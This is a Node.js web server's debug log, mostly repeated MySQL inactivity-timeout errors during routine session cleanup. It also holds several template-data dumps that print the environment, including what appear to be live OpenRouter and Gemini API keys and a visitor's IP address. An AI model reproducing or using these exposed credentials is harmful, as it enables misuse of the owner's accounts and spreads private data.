  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 21:42:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 22:19:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 22:19:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 22:57:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 22:57:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-24 23:01:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-24 23:01:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 03:21:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 03:21:48' as DATETIME)"
}
2026-03-25T08:21:12.817Z server-connect:router Serving templateView /
2026-03-25T08:21:12.819Z server-connect:app Executing action step identify
2026-03-25T08:21:12.819Z server-connect:app options: { provider: 'security' }
2026-03-25T08:21:12.820Z server-connect:auth No login cookie found
2026-03-25T08:21:12.820Z server-connect:output identity: false
2026-03-25T08:21:12.820Z server-connect:app Executing action step restrict
2026-03-25T08:21:12.820Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-25T08:21:12.821Z server-connect:output restrict: undefined
2026-03-25T08:21:15.929Z server-connect:router Serving templateView /login
2026-03-25T08:21:15.929Z server-connect:app Executing action step identify
2026-03-25T08:21:15.929Z server-connect:app options: { provider: 'security' }
2026-03-25T08:21:15.929Z server-connect:auth No login cookie found
2026-03-25T08:21:15.929Z server-connect:output identity: false
2026-03-25T08:21:15.929Z server-connect:router Render template layouts/authentication
2026-03-25T08:21:15.929Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '143.110.222.37',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-26T08:21:15.928Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '143.110.222.37',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '143.110.222.37',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 09:28:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 09:28:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 09:31:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 09:31:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 13:12:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 13:12:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 14:35:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 14:35:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 18:07:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 18:07:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 22:46:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 22:46:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-25 23:01:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-25 23:01:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 01:18:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 01:18:50' as DATETIME)"
}
2026-03-26T01:29:04.259Z server-connect:router Serving templateView /
2026-03-26T01:29:04.260Z server-connect:app Executing action step identify
2026-03-26T01:29:04.260Z server-connect:app options: { provider: 'security' }
2026-03-26T01:29:04.260Z server-connect:auth No login cookie found
2026-03-26T01:29:04.261Z server-connect:output identity: false
2026-03-26T01:29:04.261Z server-connect:app Executing action step restrict
2026-03-26T01:29:04.261Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-26T01:29:04.261Z server-connect:output restrict: undefined
2026-03-26T01:29:04.389Z server-connect:router Serving templateView /login
2026-03-26T01:29:04.389Z server-connect:app Executing action step identify
2026-03-26T01:29:04.389Z server-connect:app options: { provider: 'security' }
2026-03-26T01:29:04.390Z server-connect:auth No login cookie found
2026-03-26T01:29:04.390Z server-connect:output identity: false
2026-03-26T01:29:04.390Z server-connect:router Render template layouts/authentication
2026-03-26T01:29:04.390Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '305201621',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.227.168',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-27T01:29:04.389Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.227.168',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '305201621',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.227.168',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-26T02:20:24.011Z server-connect:router Serving templateView /
2026-03-26T02:20:24.012Z server-connect:app Executing action step identify
2026-03-26T02:20:24.012Z server-connect:app options: { provider: 'security' }
2026-03-26T02:20:24.012Z server-connect:auth No login cookie found
2026-03-26T02:20:24.012Z server-connect:output identity: false
2026-03-26T02:20:24.012Z server-connect:app Executing action step restrict
2026-03-26T02:20:24.012Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-26T02:20:24.012Z server-connect:output restrict: undefined
2026-03-26T02:20:24.129Z server-connect:router Serving templateView /login
2026-03-26T02:20:24.130Z server-connect:app Executing action step identify
2026-03-26T02:20:24.130Z server-connect:app options: { provider: 'security' }
2026-03-26T02:20:24.130Z server-connect:auth No login cookie found
2026-03-26T02:20:24.130Z server-connect:output identity: false
2026-03-26T02:20:24.130Z server-connect:router Render template layouts/authentication
2026-03-26T02:20:24.130Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
